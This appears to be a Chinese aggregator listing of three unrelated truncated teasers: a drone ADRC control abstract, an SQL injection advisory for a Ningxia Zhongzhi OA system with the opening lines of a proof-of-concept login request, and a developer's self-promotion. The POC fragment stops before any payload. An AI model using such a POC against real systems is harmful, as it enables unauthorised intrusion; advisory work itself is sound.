摘要 本文针对四旋翼无人机姿态控制系统进行了基于自抗扰控制(ADRC)的建模与仿真研究。通过MATLAB/Simulink仿真平台，实现了无人机的姿态控制模型，并采用自抗扰控制器(ADRC)对无人机的姿态进行控制。本文详细介绍了自抗扰控制器的设计方法和应用&#x…

漏洞描述 宁夏众智科技OA办公系统存在SQL注入漏洞 漏洞复现 POC POST /Account/Login?ACTIndex&CLRHome HTTP/1.1 Host: Content-Length: 45 Cache-Control: max-age0 Origin: http://39.105.48.206 Content-Type: application/x-www-form-urlencoded Upgrade-Insecur…

🍊作者：计算机编程-吉哥 🍊简介：专业从事JavaWeb程序开发，微信小程序开发，定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事，生活就是快乐的。 🍊心愿：点…

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